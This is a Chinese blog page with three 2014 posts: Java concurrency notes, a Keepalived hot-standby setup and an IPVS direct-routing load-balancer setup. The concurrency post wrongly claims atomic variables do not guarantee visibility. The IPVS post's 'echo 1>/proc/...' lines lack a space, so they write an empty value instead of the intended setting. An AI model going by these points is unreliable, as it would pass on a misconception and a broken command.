  1. 是否存在竞态条件,常见的是那些先检查后执行的操作行为,它的正确结果取决于运气。避免错误结果的方法是保证操作的原子性,通常使用加锁,也有一些原子变量类可以达到目的。
  2. 对象状态在内存中是否可见,即当一个线程修改了对象的状态后,其他线程不一定看到修改后的状态。保证其他线程总是能看到最新状态的方法有2种:一种是加锁,另一种是使用volatile变量。
于是得出几个结论:
  1. 加锁机制可保证可见性和原子性,所以能保证线程安全;
  2. 原子变量可保证原子性,但不能保证可见性,所以不能保证线程安全;
  3. volatile变量能保证可见性,但不能保证原子性,所以不能保证线程安全;
  4. volatile的原子变量能保证线程安全。
除此之外,还有一些对象一定是线程安全的:
  1. 无状态对象;
  2. 不可变对象。
但是加锁机制会产生活跃性问题,活跃性问题关注正确的行为是否一定会发生,主要有死锁问题。
死锁简单来讲是这样的:线程A持有锁L并想获得锁M,同时线程B持有锁M并想获得锁L,这时线程A和B都永久阻塞。
避免死锁的关键是要保证每个线程获取锁的顺序必须相同,如上面线程A和B获取锁的顺序如果都是先获取锁L再获取锁M,就不会发生死锁问题。
当持有锁时调用外部方法,会很难分析获取锁的顺序,要尽量避免。
编码参考:
  1. 将所有可变状态都封装在对象内部,并通过对象的内置锁对所有访问可变状态的代码进行同步;
  2. 扩展线程安全的容器类时,在新类中委托容器类的其他方法,使用新锁,不要关心原来的容器类是否线程安全。
参考资料:
《JAVA并发编程实战》
posted @ 2014-10-10 13:41 老林 阅读(1296) | 评论 (0)编辑 收藏

试用Keepalived来做双机热备,服务器信息如下:
服务器 操作系统 IP 虚拟IP
Server 1 Centos 192.168.18.20 192.168.18.22
Server 2 Centos 192.168.18.21 192.168.18.22

1. 安装Keepalived

2台Server都使用下面的命令安装Keepalived:
yum install keepalived -y

2. Server1 Keepalived 配置

$ vi /etc/keepalived/keepalived.conf

vrrp_instance VI_1 {
    state MASTER
    interface eth0
    virtual_router_id 51
    priority 100                   # 优先级
    advert_int 1                 # 心跳间隔(秒)
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.18.22         # 虚拟IP
    }
}

3. Server2 Keepalived 配置

$ vi /etc/keepalived/keepalived.conf

vrrp_instance VI_1 {
    state BACKUP              # 备份机
    interface eth0
    virtual_router_id 51
    priority 99                   # 优先级,比主服务器底
    advert_int 1                 # 心跳间隔(秒)
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.18.22         # 虚拟IP
    }
}

4. 启动Keepalived

$ service keepalived start
启动keepalived后,可看到2台Server都绑定了虚拟IP:
$ ip a

# Server 1:
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:24:8c:8c:67:43 brd ff:ff:ff:ff:ff:ff
    inet 192.168.18.20/24 brd 192.168.18.255 scope global eth0
    inet 192.168.18.22/32 scope global eth0
    inet6 fe80::224:8cff:fe8c:6743/64 scope link 
       valid_lft forever preferred_lft forever

# Server 2:
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:23:54:bf:ab:17 brd ff:ff:ff:ff:ff:ff
    inet 192.168.18.21/24 brd 192.168.18.255 scope global eth0
    inet 192.168.18.22/32 scope global eth0
    inet6 fe80::223:54ff:febf:ab17/64 scope link 
       valid_lft forever preferred_lft forever

5. 测试

浏览器访问http://192.168.18.22,出现 This is Server 1.
将192.168.18.20关闭,再访问http://192.168.18.22,出现This is Server 2.

微信订阅号:
源文地址:http://blog.gopersist.com/2014/09/24/keepalived/
posted @ 2014-09-24 11:34 老林 阅读(2042) | 评论 (2)编辑 收藏

试用IPVS的直接路由方式来做负载均衡。服务器信息如下:


 

IP配置信息如下:

服务器

操作系统

IP

IP别名

网关

调度服务器

Centos

192.168.2.90

192.168.2.99

192.168.2.1

实际服务器

Centos

192.168.2.71

192.168.2.99

192.168.2.1

Centos

192.168.2.72

192.168.2.99

192.168.2.1

 

直接路由方式工作在数据链路层,通过修改数据包的MAC地址,将数据包转发到实际服务器上。实际服务器响应时直接发送给用户端,而不经过调度器。

 

因为调度服务器并没有修改数据包的IP地址,所以我们需要为实际服务器设置与调度服务器相同的IP别名,以使实际服务器接受数据包。

 

为调度服务器设置IP别名:

ifconfig eth1:0 192.168.2.99

IP别名与原来的IP地址在使用上并没有什么不同,这里可以ping9099两个IP

 

为实际服务器设置IP别名:

ifconfig lo:0 192.168.2.99 broadcast 192.168.2.99 netmask 255.255.255.255 up

为实际服务器添加路由规则,使它不去寻找其他拥有这个IP的服务器:

route add -host 192.168.2.99 dev lo:0

防止实际服务器响应针对IP别名的ARP广播:

echo 1>/proc/sys/net/ipv4/conf/lo/arp_ignore

echo 2>/proc/sys/net/ipv4/conf/lo/arp_announce

echo 1>/proc/sys/net/ipv4/conf/all/arp_ignore

echo 2>/proc/sys/net/ipv4/conf/all/arp_announce

 

使用ipvsadm配置调度服务器:

ipvsadm -A -t 192.168.2.99:8888 -s rr

ipvsadm -a -t 192.168.2.99:8888 -r 192.168.2.71:8888 -g

ipvsadm -a -t 192.168.2.99:8888 -r 192.168.2.72:8888 -g

 

使用下面的命令将连接有效时间改为1秒来测试,:

ipvsadm --set 1 120 300

 

浏览器访问http://192.168.2.99:8888,每隔1秒多点击刷新,就会交替出现192.168.2.71192.168.2.72

 

posted @ 2014-04-28 11:15 老林 阅读(878) | 评论 (0)编辑 收藏